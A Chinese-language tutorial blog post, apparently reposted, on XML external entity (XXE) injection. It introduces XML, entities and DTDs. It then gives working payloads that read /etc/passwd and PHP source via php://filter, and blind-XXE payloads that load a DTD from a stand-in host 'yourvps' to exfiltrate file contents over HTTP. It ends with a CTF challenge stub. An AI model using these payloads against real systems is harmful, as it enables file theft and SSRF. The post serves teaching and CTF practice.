1. 程式人生 > >小試XML實體註入攻擊

小試XML實體註入攻擊

如果 utf nco target 參數 發送 類型 log 本地

基礎知識

XML(Extensible Markup Language)被設計用來傳輸和存儲數據。關於它的語法,本文不準備寫太多,只簡單介紹一下。

XML基本知識

1 2 3 4 5 <?xml version="1.0" encoding="utf-8"?> <note> <to>chybeta</to> <from>ph0en1x</from> </note>

在上面代碼中的第一行,定義XML的版本與編碼。

在XML文檔中,所有的元素都必須正確的嵌套,形成樹形結構。並且整個XML文檔中必須要有一個根元素。如上代碼,<note>

是整個文檔的根元素。嵌套在note標簽中的<to><from>則是根的子元素。

同時,所有的XML元素都必須有關閉標簽,這點不像html語法那樣松散。如果缺失關閉標簽,則會導致XML解析失敗。

實體

所有的XML文檔都由五種簡單的構建模塊(元素,屬性,實體,PCDATA CDATA)構成。這裏著重介紹一下實體:實體是用於定義引用普通文本或特殊字符的快捷方式的變量,實體引用是對實體的引用。實體可在內部或外部進行聲明。因此我們利用引入實體,構造惡意內容,從而達到攻擊的目的。

實體類型

XML實體分為四種:字符實體,命名實體,外部實體,參數實體。

文檔類型定義:DTD

wikipedia關於這的描述是:The XML DTD syntax is one of several XML schema languages。簡單的說,DTD的作用是定義XML文檔的合法構建模塊。如前所述,實體也是構建模塊之一。因此可以利用DTD來內部或外部引入實體。

其基本格式:

1 <!DOCTYPE 根元素名 [ 元素描述 ]>

內部引入

格式:

1 <!ENTITY 實體名稱 "實體的值">

將DTD和XML放在同一份文檔中,利用DTD定義的實體即為內部實體。

1 2 3 4 5 6 7 <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE xxe [ <!ENTITY chybeta "Hello World!"> ]> <xxe> &chybeta; </xxe>

訪問該XML文檔,&chybeta;會被解析為Hello World!並輸出。

外部引入

基本格式:

1 <!ENTITY 實體名稱 SYSTEM "URI">

通過引用定義在外部的DTD中的實體,我們稱之為外部實體。
由於xxe漏洞主要利用的是外部實體,所以這裏暫不展開。具體實例見下。

利用方式

xxe註入

以php環境為例,index.php內容如下:

1 2 3 4 <?php $xml=simplexml_load_string($_GET[‘xml‘]); print_r((string)$xml); ?>

讀取本地文件

技術分享

利用各種協議可以讀取文件。比如file協議,這裏的測試環境為win,所以這裏我選擇讀取c盤裏的TEST.txt。

1 2 3 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [<!ENTITY file SYSTEM "file:///c://TEST.txt">]> <root>&file;</root>

將上述xml進行url編碼後傳進去,可以發現讀取了TEST.txt中的內容。
技術分享

我這裏測試時,如果不進行url編碼則不能成功解析。

若使用fill協議,在unix環境下,可以用如下xml來讀取passwd:

1 2 3 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [<!ENTITY file SYSTEM "file:///etc/passwd">]> <root>&file;</root>

如果要讀取php文件,因為php、html等文件中有各種括號<>,若直接用file讀取會導致解析錯誤,此時可以利用php://filter將內容轉換為base64後再讀取。

1 2 3 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [<!ENTITY file SYSTEM "php://filter/convert.base64-encode/resource=index.php">]> <root>&file;</root>

這裏同樣先經過url編碼後再傳入。讀取結果如下:
技術分享

命令執行

php環境下,xml命令執行要求php裝有expect擴展。而該擴展默認沒有安裝。這裏暫不進行測試。

內網探測/SSRF

由於xml實體註入攻擊可以利用http://協議,也就是可以發起http請求。可以利用該請求去探查內網,進行SSRF攻擊。

bind xxe

以php環境為例,現在更改index.php內容如下:

1 2 3 <?php $xml=simplexml_load_string($_GET[‘xml‘]); ?>

少了print_r,即沒有回顯消息。這個時候我們可以利用參數實體,通過發起http請求來攻擊。

讀取本地文件

payload1

1 2 3 4 5 6 7 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE data [ <!ENTITY % file SYSTEM "file:///c://TEST.txt"> <!ENTITY % dtd SYSTEM "http://yourvps/xxe.xml"> %dtd; %all; ]> <value>&send;</value>

在我的vps的xxe.xml的內容如下:

1 <!ENTITY % all "<!ENTITY send SYSTEM ‘http://yourvps/%file;‘>">

而測試文件TEST.txt內容為:

1 chybeta

整個的調用過程如下:解析時%dtd引入xxe.xml,之後%all引入send的定義,最後引用了實體send,把%file文件內容通過一個http請求發了出去。註意需要把payload經過url編碼。查看vps上的access.log:

技術分享

若要讀取php等文件,同樣需要先經過base64加密下。

1 2 3 4 5 6 7 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE data [ <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=index.php"> <!ENTITY % dtd SYSTEM "http://yourvps/xxe.xml"> %dtd; %all; ]> <value>&send;</value>

查看access.log:
技術分享

payload2

發送的xml:

1 2 3 4 5 6 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE data [ <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=index.php"> <!ENTITY % dtd SYSTEM "http://yourvps/xxe.xml"> %dtd; %send; ]>

而在vps上的xxe.xml內容為:

1 <!ENTITY % payload2 "<!ENTITY &#x25; send SYSTEM ‘http://yourvps/%file;‘>"> %payload2;

註意的是,&#25; 不能直接寫成%,否則無法解析。

xxe.xml中定義和引用了%payload2,在通過%dtd引入xxe.xml後,得以使用符號實體%send來進行發送。其中%file為讀取的文件內容。查看access.log:

技術分享

ctf

小試牛刀

拿jarvisoj平臺上的題目來小試牛刀吧。

題目:api調用

題目描述:請設法獲得目標機器/home/ctf/flag.txt中的flag值

技術分享

技術分享

技術分享

參考鏈接:https://chybeta.github.io/2017/07/04/%E5%B0%8F%E8%AF%95XML%E5%AE%9E%E4%BD%93%E6%B3%A8%E5%85%A5%E6%94%BB%E5%87%BB/

小試XML實體註入攻擊